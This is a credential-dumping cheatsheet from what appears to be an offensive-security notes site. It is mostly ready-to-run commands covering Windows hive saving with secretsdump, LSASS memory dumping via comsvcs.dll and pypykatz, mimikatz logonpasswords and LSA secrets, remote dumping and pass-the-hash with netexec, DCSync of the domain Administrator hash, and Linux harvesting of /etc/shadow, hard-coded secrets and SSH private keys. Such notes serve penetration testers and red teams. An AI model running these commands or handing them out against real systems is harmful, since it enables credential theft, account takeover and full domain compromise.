// notes/ Cheatsheets & Payloads
🗝️

Credential Dumping — Cheatsheet

LSASS, SAM/SYSTEM, LSA secrets, DPAPI, and remote secretsdump.

#credentials#mimikatz#secretsdump#lsass#dpapi

Credential Dumping — Cheatsheet

Windows — save the local hives

Save the SAM hive (contains local password hashes).

🐺 howlsec@kali
$reg save HKLM\SAM sam.hive

Save the SYSTEM hive (holds the key to decrypt SAM).

🐺 howlsec@kali
$reg save HKLM\SYSTEM system.hive

Save the SECURITY hive (cached domain creds / LSA secrets).

🐺 howlsec@kali
$reg save HKLM\SECURITY security.hive

Extract hashes from the saved hives offline.

🐺 howlsec@kali
$impacket-secretsdump -sam sam.hive -system system.hive -security security.hive LOCAL

Windows — dump LSASS memory

Find the LSASS process ID.

🐺 howlsec@kali
$tasklist /fi "imagename eq lsass.exe"

Dump LSASS to disk using a built-in DLL (living off the land).

🐺 howlsec@kali
$rundll32 C:\Windows\System32\comsvcs.dll, MiniDump <lsass_pid> C:\temp\lsass.dmp full

Parse the dump offline to recover credentials.

🐺 howlsec@kali
$pypykatz lsa minidump lsass.dmp

Mimikatz (run from an elevated prompt)

Enable the debug privilege, then dump logged-on plaintext/hashes.

🐺 howlsec@kali
01privilege::debug
02sekurlsa::logonpasswords

Dump the local SAM database.

🐺 howlsec@kali
01lsadump::sam

Dump LSA secrets (service account passwords, etc.).

🐺 howlsec@kali
01lsadump::lsa /patch

Remote (with creds or a hash)

Dump SAM + LSA remotely with creds.

🐺 howlsec@kali
$impacket-secretsdump $DOMAIN/$USER:$PASS@$IP

Pull the local SAM and LSA over SMB via netexec.

🐺 howlsec@kali
$nxc smb $IP -u $USER -p $PASS --sam --lsa

Same but authenticating with a hash (pass-the-hash).

🐺 howlsec@kali
$nxc smb $IP -u $USER -H <ntlm_hash> --lsa

DCSync (whole domain)

Replicate a single account's hash from the DC.

🐺 howlsec@kali
$impacket-secretsdump $DOMAIN/$USER:$PASS@$DC -just-dc-user Administrator

Linux loot

Read the shadow file for crackable hashes (if root).

🐺 howlsec@kali
$cat /etc/shadow

Grep the filesystem for hard-coded secrets.

🐺 howlsec@kali
$grep -rniE 'password|passwd|api[_-]?key|secret' /var/www /home /opt 2>/dev/null

Hunt for SSH private keys to reuse.

🐺 howlsec@kali
$find / -name id_rsa 2>/dev/null